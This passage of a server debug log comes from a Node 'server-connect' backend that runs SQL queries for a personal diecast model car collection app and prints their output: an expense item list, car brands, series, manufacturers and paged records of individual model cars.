    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:05:27.042Z server-connect:output restrict: undefined
2026-07-13T10:05:27.042Z server-connect:app Executing action step select
2026-07-13T10:05:27.042Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:05:27.046Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-13T10:05:27.048Z server-connect:app Executing action step identify
2026-07-13T10:05:27.048Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.048Z server-connect:output identity: 1
2026-07-13T10:05:27.048Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.048Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:05:27.048Z server-connect:app Executing action step identify
2026-07-13T10:05:27.048Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.048Z server-connect:output identity: 1
2026-07-13T10:05:27.048Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.048Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:05:27.050Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:05:27.052Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:05:27.052Z server-connect:app Executing action step select
2026-07-13T10:05:27.052Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:05:27.053Z server-connect:output restrict: undefined
2026-07-13T10:05:27.053Z server-connect:app Executing action step select
2026-07-13T10:05:27.053Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:05:27.054Z server-connect:output restrict: undefined
2026-07-13T10:05:27.054Z server-connect:app Executing action step select
2026-07-13T10:05:27.054Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:05:27.055Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:05:27.056Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:05:27.056Z server-connect:app Executing action step select
2026-07-13T10:05:27.056Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:05:27.057Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:05:27.058Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:05:27.059Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:05:27.061Z server-connect:app Executing action step identify
2026-07-13T10:05:27.061Z server-connect:app options: { provider: 'security' }
2026-07-13T10:05:27.061Z server-connect:output identity: 1
2026-07-13T10:05:27.062Z server-connect:app Executing action step restrict
2026-07-13T10:05:27.062Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:05:27.062Z server-connect:output restrict: undefined
2026-07-13T10:05:27.062Z server-connect:app Executing action step paged
2026-07-13T10:05:27.062Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:05:27.071Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 168,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 191,
      model_name: 'Test 123',
      release_year: 2009,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-07-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Jams Toys',
      series: 'Majorette Castheads Gift Set',
      brand_id: 191,
      series_id: 195,
      case: 'A',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 1,
      yt_video_created: 1,
      photoshoot: 1,
      overview_created: 1,
      diecast_images: []
    },
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
